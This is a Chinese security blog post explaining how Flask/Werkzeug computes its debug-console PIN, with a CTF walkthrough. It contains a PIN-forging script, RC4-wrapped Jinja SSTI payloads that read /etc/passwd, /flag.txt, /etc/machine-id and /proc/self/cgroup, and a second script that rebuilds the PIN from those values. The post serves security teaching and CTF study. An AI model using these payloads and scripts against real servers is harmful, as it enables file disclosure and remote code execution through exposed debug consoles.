Flask Debug PIN安全问题

admin 2022年1月6日01:40:53评论46 views字数 6861阅读22分52秒阅读模式

Flask在生产环境中开启Debug模式,存在交互式Python shell可以执行自定义Python代码。

在旧版本的Flask中是不需要输入PIN码认证就可以执行代码,
在新版本的Flask中需要输入PIN码进行认证,才能执行自定义代码,有点鸡肋。不过在同一台机器上,多次重启Flask服务,PIN码值不改变。也就是说PIN码是一个固定值。

PIN生成流程

PIN码的具体生成流程可看
https://zhuanlan.zhihu.com/p/32336971

PIN的生成主要看此段代码
Lib\site-packages\werkzeug\debug\__init__.py的137行

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def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", app.__class__.__module__)

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

PIN获取

PIN的生成需要6个变量

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username 启动这个Flask的用户
modname 一般默认flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认flask.app为Flask
getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡mac地址的十进制表达式
get_machine_id() 系统id

变量的获取

  1. uaername 可以从/etc/passwd或者/proc/self/environ环境变量中读取

  2. getattr(mod, '__file__', None) flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个坑,python3是app.py,python2中是app.pyc

  3. 网卡地址 读取这两个地址:/sys/class/net/eth0/address 或者 /sys/class/net/ens33/address

  4. machine_id()
    linux读取这三个文件 /proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id
    windows读取注册表中的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

    2020.1.5对machine_id()进行了更新 get_machine_id unique for podman

    https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f

    修改前是依序读取/proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id三个文件,只要读取到一个文件的内容,立马返回值。
    修改后是从/etc/machine-id、/proc/sys/kernel/random/boot_id中读到一个值后立即break,然后和/proc/self/cgroup中的id值拼接。

PIN生成脚本

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import hashlib
from itertools import chain
probably_public_bits = [
'kingkk',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'52242498922',# str(uuid.getnode()), /sys/class/net/ens33/address
'19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

例题

CISCN2019 华东南赛区Double Secret

https://buuoj.cn/challenges

解题方式具体可看从一道ctf题谈谈flask开启debug模式存在的安全问题
RC4加密

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import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是: %s" %quote(cipher))
#print("加密后的输出(经过编码):")
#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}")
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address').read()}}")
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/proc/self/cgroup').read()}}")

Debug PIN码的生成脚本

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import hashlib
from itertools import chain
probably_public_bits = [
'glzjin'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
'2485410489227',# str(uuid.getnode()), /sys/class/net/ens33/address
'7dcfc37cdca26de192240d4dbb5aed767e3f66b2a87ffa05243e5be379a5d400'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

参考文章:
Werkzeug更新带来的Flask debug pin码生成方式改变
Flask debug pin安全问题
Flask开启debug模式等于给黑客留了后门
从一道ctf题谈谈flask开启debug模式存在的安全问题
Flask debug 模式 PIN 码生成机制安全性研究笔记
flask debug模式下pin码安全

FROM :blog.cfyqy.com | Author:cfyqy

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  • 本文由 发表于 2022年1月6日01:40:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Flask Debug PIN安全问题http://cn-sec.com/archives/722202.html

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